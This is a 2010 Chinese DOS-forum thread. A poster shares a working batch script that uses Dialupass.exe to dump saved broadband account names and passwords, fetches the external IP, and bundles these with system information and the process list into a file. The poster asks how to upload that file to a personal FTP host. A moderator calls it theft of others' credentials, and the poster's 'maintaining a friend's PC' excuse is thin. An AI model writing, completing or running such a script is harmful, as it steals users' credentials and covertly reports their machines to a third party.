中国DOS联盟

求个批处理，作用是将本机的外网IP等信息以本机的宽带账号命名的文本方式上传到ftp上？

如下所示，有个Dialupass.exe用来获取宽带账号密码的。


@echo off
del /f /q IP.bbs pass.bbs user.bbs xt.bbs 密码.bbs 用户名.bbs
dialupass.exe /stext 账号.bbs
type 账号.bbs | find "User Name :" >用户名.bbs
type 账号.bbs | find "Password :" >密码.bbs
del /f /q 账号.bbs
for /f "tokens=1-3*" %%1 in (用户名.bbs)do >user.bbs echo %%4
for /f "tokens=1-3*" %%2 in (密码.bbs)do >>pass.bbs echo %%4
set /p name=<user.bbs
set /p pass=<pass.bbs
rasdial adsl %name% %pass%
call ip.bat
set /p ip=<IP.bbs
@echo off
systeminfo >xt.bbs
echo %ip% >%name%.txt
type xt.bbs | find "Lease Obtained" >>%name%.txt
echo %ComputerName%上传于%date:~0,10% %time%>>%name%.txt
echo %name%>>%name%.txt
echo %pass%>>%name%.txt
type xt.bbs | find "处理器:" >>%name%.txt
type xt.bbs | find "物理内存" >>%name%.txt
type xt.bbs | find "虚拟内存" >>%name%.txt
type xt.bbs | find "网卡:" >>%name%.txt
tasklist >>%name%.txt
del /f /q IP.bbs pass.bbs user.bbs xt.bbs 密码.bbs 用户名.bbs




ip.bat如下
@echo off
<"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>IP.bbs
echo >nul && del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.ip138.com/ip2city.asp")

do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next


ftp 上传也懂了。
假设 ftp地址为12345.vicp.net
用户名为user
密码为pass


有没有办法整合成一个批处理 或是 有更好的办法没有？（主要是宽带用户名和外网IP，用以分辨和远程客户。）

[ Last edited by zlsanhong on 2010-3-6 at 01:58 ]

说白了就是盗用别人的宽带账号密码再发送给自己呗？

版主怎么这么说呢？帮朋友维护而已，这年头宽带账号密码有P用啊？

找到了 版主们对不起了。